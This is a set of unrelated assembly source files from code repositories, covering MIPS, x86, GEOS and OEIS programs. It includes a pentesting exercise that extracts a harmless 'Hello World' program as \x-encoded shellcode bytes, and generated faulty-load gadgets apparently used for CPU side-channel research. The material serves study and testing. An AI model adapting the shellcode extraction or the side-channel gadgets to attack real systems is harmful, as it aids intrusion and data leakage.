li $v0, 1
lw $t2, ($t1)
move $a0, $t2
syscall
li $v0, 4
la $a0, coma
syscall
addi $t0, $t0, 4
addi $t1, $t1, 4
j for2
exit2:
jr $ra
inputArray:
la $a0, length
li $v0, 4 # print string
syscall
li $v0, 5 # read int
syscall
move $s2, $v0 #s2=size_in_ints
li $s0, 4 #s0=4
mul $s0, $s0, $s2 #s0=4*size_in_ints = size_in_bytes
la $a0, ask
li $v0, 4 # print string
syscall
# allocate heap memory
move $a0, $s0#a0=s0=size_in_bytes
li $v0, 9 #allocate memory of size a0
syscall #allocate memory for array
move $s1, $v0 #give s2 adress of allocated memory
li $t0, 0 #loop iterator=0
move $t1, $s1 #array iterator
for1: beq $t0, $s0, exit1 #while(t0!=s0)
li $v0, 5 #read value
syscall
sw $v0, ($t1)
addi $t1, $t1, 4 # array iterator++
addi $t0, $t0, 4 # loop iterator++
j for1
exit1:
move $v0, $s0 #return value 0 = size in ints
move $v1, $s1 #return value 1 = array
jr $ra
swap:
move $v1, $a0 #argument 0 goes to output 1
move $v0, $a1 #argument 1 goes to output 0
jr $ra
.data
length: .asciiz "Input the size of the array: "
ask: .asciiz "Input the array data:\n"
endl: .asciiz "\n"
coma: .asciiz ","
| 23.577778 | 74 | 0.574615 |
f49d33bb1da3bbeb4fd2d92f1d837514dd585fc8 | 787 | nasm | Assembly | pentesting/hexlify_stack/hexlify_stack.nasm | karng87/nasm_game | a97fdb09459efffc561d2122058c348c93f1dc87 | [
"MIT"
] | null | null | null | pentesting/hexlify_stack/hexlify_stack.nasm | karng87/nasm_game | a97fdb09459efffc561d2122058c348c93f1dc87 | [
"MIT"
] | null | null | null | pentesting/hexlify_stack/hexlify_stack.nasm | karng87/nasm_game | a97fdb09459efffc561d2122058c348c93f1dc87 | [
"MIT"
] | null | null | null | ;; for i in $(objdump -d a.out | grep '^ ' | cut -f2); \
;; do echo -n '\x'$i; done ; echo
;; \x48\x31\xc0\x04\x01\x48\x89\xc7\x68\x72\x6c \
;; \x64\x0a\x48\xbb\x48\x65\x6c\x6c\x6f\x20\x57 \
;; \x6 1 f\x53\x48\x89\xe6\x48\x31\xd2\x80\xc2 \
;; \x0c\x0f\x05\x48\x31\xc0\x04\x3c\x48\x31\xff\x0f\x05
section .text
global main
main:
xor rax, rax
add al, 1
mov rdi, rax
;; python 3.9
;; hello = b'Hello World\n'
;; binascii.hexlify(hell[::-1])
;; 0a646c726f57206f6c6c6548
push 0x_0a64_6c72
mov rbx, 0x_6f57_206f_6c6c_6548
push rbx
mov rsi, rsp
xor rdx, rdx
add dl, 12
syscall
xor rax, rax
add al, 60
xor rdi, rdi
syscall
| 21.861111 | 56 | 0.524778 |
56b2050a93581b1a1a87bc4f71a05698908f0a58 | 5,329 | asm | Assembly | Driver/Mailbox/Data/VMTree/vmtreeStack.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Driver/Mailbox/Data/VMTree/vmtreeStack.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Driver/Mailbox/Data/VMTree/vmtreeStack.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1994 -- All Rights Reserved
PROJECT: Clavin
MODULE: VM Tree Data Driver
FILE: vmtreeStack.asm
AUTHOR: Chung Liu, Jun 15, 1994
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/15/94 Initial revision
DESCRIPTION:
Abstraction for stack of VM block handles. Each stack is a
memory block with a header.
$Id: vmtreeStack.asm,v 1.1 97/04/18 11:41:49 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Movable segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTSAlloc
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Allocate a dword stack.
CALLED BY:
PASS: nothing
RETURN: bx = stack handle
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/15/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTSAlloc proc near
uses ax,cx,ds
.enter
mov ax, DEFAULT_STACK_BLOCK_SIZE
mov cx, ALLOC_DYNAMIC_NO_ERR_LOCK
call MemAlloc ;bx = handle, ax = addr.
mov ds, ax
mov ds:[VMTSH_count], 0
call MemUnlock
.leave
ret
VMTSAlloc endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTSPush
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Push element onto word stack.
CALLED BY: VMTreeReadInitialize, VMTreeReadNextBlock
PASS: bx = stack handle
dx:ax = element to push
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/15/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTSPush proc near
uses bx,cx,ds,si
.enter
;
; If we're about to overflow the stack, then expand the segment.
;
push dx, ax ;element to push
call MemLock ;ax = segment
mov ds, ax
mov cx, ds:[VMTSH_count] ;number of dword elements.
inc cx ;check if there's room for one more.
shl cx
shl cx ;multiply by dword size
add cx, size VMTStackHeader ;cx = bytes used.
mov ax, MGIT_SIZE
call MemGetInfo ;ax = size of block
cmp cx, ax
jbe pushElement
;
; expand block to fit more elements.
;
push cx
add ax, DEFAULT_STACK_BLOCK_SIZE
mov ch, HAF_STANDARD_NO_ERR
call MemReAlloc
mov ds, ax
pop cx
pushElement:
; cx = offset of new element + size dword.
pop dx, ax ;element to push
inc ds:[VMTSH_count]
sub cx, 4 ;cx = offset of new element
mov si, cx
movdw ds:[si], dxax
call MemUnlock
.leave
ret
VMTSPush endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTSPop
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Pop from the top of the stack
CALLED BY: VMTreeReadNextBlock, etc.
PASS: bx = stack handle
RETURN: carry set if stack is empty, otherwise
carry clear, and dx:ax = element.
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/15/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTSPop proc near
uses bx,cx,ds,si
.enter
call MemLock
mov ds, ax
tst ds:[VMTSH_count]
jz emptyStack
dec ds:[VMTSH_count]
mov cx, ds:[VMTSH_count]
;offset for a word size element is 4*cx + size VMTStackHeader.
shl cx
shl cx
add cx, size VMTStackHeader
mov si, cx
movdw dxax, ds:[si]
clc
unlockAndExit:
call MemUnlock
.leave
ret
emptyStack:
stc
jmp unlockAndExit
VMTSPop endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTSFree
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Free the stack. Stack cannot be used after this is called.
CALLED BY:
PASS: bx = stack handle
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/15/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTSFree proc near
call MemFree
ret
VMTSFree endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTSGetCount
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Return the number of items pushed on the stack.
CALLED BY:
PASS: bx = stack handle
RETURN: cx = count
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 10/ 6/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTSGetCount proc near
uses ax, ds
.enter
call MemLock
mov ds, ax
mov cx, ds:[VMTSH_count]
call MemUnlock
.leave
ret
VMTSGetCount endp
Movable ends
| 21.574899 | 79 | 0.496716 |
747c99a6d4bd7e289952b820759e2f145b8e9d0f | 848 | asm | Assembly | oeis/019/A019494.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/019/A019494.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/019/A019494.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A019494: Define the sequence T(a(0),a(1)) by a(n+2) is the greatest integer such that a(n+2)/a(n+1) < a(n+1)/a(n) for n >= 0. This is T(4,10).
; Submitted by Jamie Morken(s3)
; 4,10,24,57,135,319,753,1777,4193,9893,23341,55069,129925,306533,723205,1706261,4025589,9497589,22407701,52866581,124728341,294272085,694277333,1638011349,3864566869,9117688405,21511399509,50751932757,119739242325,282501283669,666506432853,1572491350357,3709985268053,8752983401813,20650949504341,48721869544789,114949705893205,271201310795093,639846360679765,1509592133145941,3561586887882069,8402866497123669,19824917260539221,46773008296842581,110351749587932501,260353333696943445
add $0,2
mov $1,2
mov $3,1
lpb $0
sub $0,1
add $2,$3
add $3,$2
add $2,$1
sub $3,$1
add $3,1
sub $2,$3
mul $2,2
sub $2,1
add $3,1
add $1,$3
lpe
mov $0,$1
div $0,2
| 36.869565 | 485 | 0.751179 |
06638041aae7bd5229fa338578674afd396d1f1b | 5,720 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_15772_145.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_15772_145.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_15772_145.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x7206, %rsi
lea addresses_D_ht+0x196d0, %rdi
and $47852, %r9
mov $121, %rcx
rep movsb
nop
nop
nop
nop
cmp $24777, %r14
lea addresses_WT_ht+0x12f38, %r10
and %rdi, %rdi
vmovups (%r10), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %r9
nop
nop
nop
nop
and $761, %r9
lea addresses_WC_ht+0x147d0, %rsi
lea addresses_WC_ht+0x5bd0, %rdi
xor $52760, %r9
mov $121, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WC_ht+0x1b0c0, %rcx
nop
add $62898, %r11
movups (%rcx), %xmm5
vpextrq $0, %xmm5, %rdi
nop
nop
nop
nop
and $24429, %r9
lea addresses_WT_ht+0x21d0, %r14
nop
nop
nop
nop
sub $63333, %rsi
movw $0x6162, (%r14)
nop
nop
nop
xor %r14, %r14
lea addresses_normal_ht+0x15e90, %rsi
lea addresses_normal_ht+0x1fe8, %rdi
nop
nop
cmp $62193, %r14
mov $13, %rcx
rep movsq
xor %rcx, %rcx
lea addresses_UC_ht+0x27d0, %rcx
nop
nop
add $6697, %r9
mov (%rcx), %r10w
nop
nop
add %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %rbp
push %rdx
push %rsi
// Faulty Load
lea addresses_D+0x1d5d0, %rbp
nop
nop
inc %rdx
movups (%rbp), %xmm0
vpextrq $1, %xmm0, %rsi
lea oracles, %rbp
and $0xff, %rsi
shlq $12, %rsi
mov (%rbp,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rbp
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'36': 15772}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 43.333333 | 2,999 | 0.660315 |
bc9210eda5e622662d59a7f471891453fdda174a | 800 | asm | Assembly | oeis/142/A142787.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/142/A142787.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/142/A142787.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A142787: Primes congruent to 13 mod 60.
; Submitted by Jon Maiga
; 13,73,193,313,373,433,613,673,733,853,1033,1093,1153,1213,1453,1693,1753,1873,1933,1993,2053,2113,2293,2473,2593,2713,2833,2953,3253,3313,3373,3433,3613,3673,3733,3793,3853,4093,4153,4273,4513,4813,4933,4993,5113,5233,5413,5653,5953,6073,6133,6373,6553,6673,6733,6793,7213,7333,7393,7573,7753,7873,7933,7993,8053,8233,8293,8353,8713,8893,9013,9133,9433,9613,9733,9973,10093,10273,10333,10453,10513,10753,10993,11113,11173,11353,11593,11833,11953,12073,12253,12373,12433,12553,12613,12853,12973,13033
mov $2,$0
pow $2,2
mov $4,12
lpb $2
mov $3,$4
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $1,$0
max $1,0
cmp $1,$0
mul $2,$1
sub $2,1
add $4,60
lpe
mov $0,$4
add $0,1
| 38.095238 | 501 | 0.72625 |
99cdbe0f7d9fa25e4637002a38b0281c5533e0f9 | 1,591 | asm | Assembly | C/BiosLib/getticks.asm | p-k-p/SysToolsLib | 827be2799e541410cb5c11358cd4ce6859e171ad | [
"Apache-2.0"
] | 232 | 2016-04-27T21:56:11.000Z | 2022-03-29T09:02:15.000Z | C/BiosLib/getticks.asm | p-k-p/SysToolsLib | 827be2799e541410cb5c11358cd4ce6859e171ad | [
"Apache-2.0"
] | 31 | 2016-05-09T09:05:36.000Z | 2022-03-29T19:17:45.000Z | C/BiosLib/getticks.asm | p-k-p/SysToolsLib | 827be2799e541410cb5c11358cd4ce6859e171ad | [
"Apache-2.0"
] | 94 | 2016-06-01T18:10:39.000Z | 2022-03-26T10:44:57.000Z | page ,132
;*****************************************************************************;
; ;
; FILE NAME: getticks.asm ;
; ;
; DESCRIPTION: BIOS get tick count int 1AH function 00H ;
; ;
; NOTES: ;
; ;
; HISTORY: ;
; 2016-04-24 JFL Created this file. ;
; ;
; (c) Copyright 2016-2017 Hewlett Packard Enterprise Development LP ;
; Licensed under the Apache 2.0 license - www.apache.org/licenses/LICENSE-2.0 ;
;*****************************************************************************;
INCLUDE ADEFINE.INC
.CODE
;-----------------------------------------------------------------------------;
; ;
; Function: _bios_getticks ;
; ;
; Description: BIOS get tick count int 1AH function 00H ;
; ;
; Parameters: None ;
; ;
; Returns: DX:AX = Number of tick counts since last midnight. ;
; ;
; Notes: The tick frequency is ~= 65536 ticks / hour. ;
; https://blogs.msdn.microsoft.com/oldnewthing/20041202-00/?p=37153 ;
; ;
; Regs altered: AX, CX, DX. ;
; ;
; History: ;
; 2016-04-24 JFL Created this routine ;
; ;
;-----------------------------------------------------------------------------;
CFASTPROC _bios_getticks
mov ah, 00H
int 1AH
mov ax, dx
mov dx, cx
ret
ENDCFASTPROC _bios_getticks
END
| 30.596154 | 79 | 0.374607 |
7cbb7d69388732af881f874e96d0d9a9a0808cb9 | 433 | asm | Assembly | programs/oeis/059/A059029.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/059/A059029.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/059/A059029.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A059029: a(n) = n if n is even, 2*n + 1 if n is odd.
; 0,3,2,7,4,11,6,15,8,19,10,23,12,27,14,31,16,35,18,39,20,43,22,47,24,51,26,55,28,59,30,63,32,67,34,71,36,75,38,79,40,83,42,87,44,91,46,95,48,99,50,103,52,107,54,111,56,115,58,119,60,123,62,127,64,131,66,135,68,139,70,143,72,147,74,151,76,155,78,159,80,163,82,167,84,171,86,175,88,179,90,183,92,187,94,191,96,195,98,199
add $0,1
mov $1,2
gcd $1,$0
mul $1,$0
sub $1,1
mov $0,$1
| 43.3 | 319 | 0.642032 |
e55c4589f57d70e89e4e5a5a3424edcd70bfaf81 | 655 | asm | Assembly | programs/oeis/233/A233775.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/233/A233775.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/233/A233775.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A233775: Number of vertices in the n-th row of the Sierpinski gasket (cf. A047999).
; 1,2,3,4,5,4,6,8,9,4,6,8,10,8,12,16,17,4,6,8,10,8,12,16,18,8,12,16,20,16,24,32,33,4,6,8,10,8,12,16,18,8,12,16,20,16,24,32,34,8,12,16,20,16,24,32,36,16,24,32,40,32,48,64,65,4,6,8,10,8,12,16,18,8,12,16,20,16,24,32,34,8,12,16,20,16,24,32,36,16,24,32,40,32,48,64,66,8,12,16
mov $2,$0
mov $4,2
lpb $4
mov $0,$2
sub $4,1
add $0,$4
sub $0,1
mul $0,2
max $0,0
seq $0,267700 ; "Tree" sequence in a 90 degree sector of the cellular automaton of A160720.
mov $3,$0
mov $5,$4
mul $5,$0
add $1,$5
lpe
min $2,1
mul $2,$3
sub $1,$2
div $1,2
add $1,1
mov $0,$1
| 26.2 | 270 | 0.610687 |
558ed3ea249a36794f9c4f646eddc251e2e87c79 | 1,036 | asm | Assembly | examples/8ball.asm | kspalaiologos/asmbf | c98a51d61724a46855de291a27d68a49a034810b | [
"MIT"
] | 67 | 2020-08-03T06:26:35.000Z | 2022-03-24T19:50:51.000Z | examples/8ball.asm | pyautogui/asmbf | 37c54a8a62df2fc4bab28bdeb43237b4905cbecd | [
"MIT"
] | 55 | 2019-10-02T19:37:08.000Z | 2020-06-12T19:40:53.000Z | examples/8ball.asm | pyautogui/asmbf | 37c54a8a62df2fc4bab28bdeb43237b4905cbecd | [
"MIT"
] | 9 | 2019-05-18T11:59:41.000Z | 2020-06-21T20:40:25.000Z |
; Build me with `bfmake -t 8ball.asm'!
; This is an example of _heavily_ optimized asm2bf code.
inc r1
raw .[
in r1
add r2, r1
nav r1
raw .]
mod r2, 20
#function gencase(text)
# emit("<")
# gen_text(text)
# emit(">>")
#end
#function build_case(text)
# gencase(text)
# emit("]<]>[-")
#end
nav r2
#emit(">+<")
#times("raw .[\nraw .-", 19)
#emit(">[-")
#build_case("It is certain")
#build_case("As I see it, yes.")
#build_case("Reply hazy, try again.")
#build_case("Don't count on it.")
#build_case("It is decidedly so.")
#build_case("Most likely.")
#build_case("Ask again later.")
#build_case("My reply is no.")
#build_case("Without a doubt.")
#build_case("Outlook good.")
#build_case("Better not tell you now.")
#build_case("My sources say no.")
#build_case("Outlook not so good.")
#build_case("Cannot predict now.")
#build_case("Yes.")
#build_case("Yes - definitely.")
#build_case("You may rely on it.")
#build_case("Signs point to yes.")
#build_case("Concentrate and ask again.")
#gencase("Very doubtful.")
#emit("]")
| 20.313725 | 56 | 0.660232 |
477510e9ec81d5a2ce626414772d17b0f07c4da8 | 7,295 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_257.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_257.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_257.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r14
push %r15
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xe2b6, %r14
nop
nop
nop
add %r15, %r15
movb $0x61, (%r14)
nop
cmp %r12, %r12
lea addresses_UC_ht+0xde06, %rsi
lea addresses_A_ht+0x853e, %rdi
nop
nop
nop
nop
and $7671, %r13
mov $35, %rcx
rep movsq
nop
nop
nop
nop
add $7555, %r15
lea addresses_WC_ht+0x2006, %rsi
nop
mfence
mov $0x6162636465666768, %r13
movq %r13, %xmm2
and $0xffffffffffffffc0, %rsi
movntdq %xmm2, (%rsi)
nop
nop
nop
nop
add %r12, %r12
lea addresses_normal_ht+0xadd6, %rsi
lea addresses_D_ht+0xc03e, %rdi
nop
nop
nop
nop
inc %r12
mov $1, %rcx
rep movsl
nop
nop
nop
cmp $982, %r14
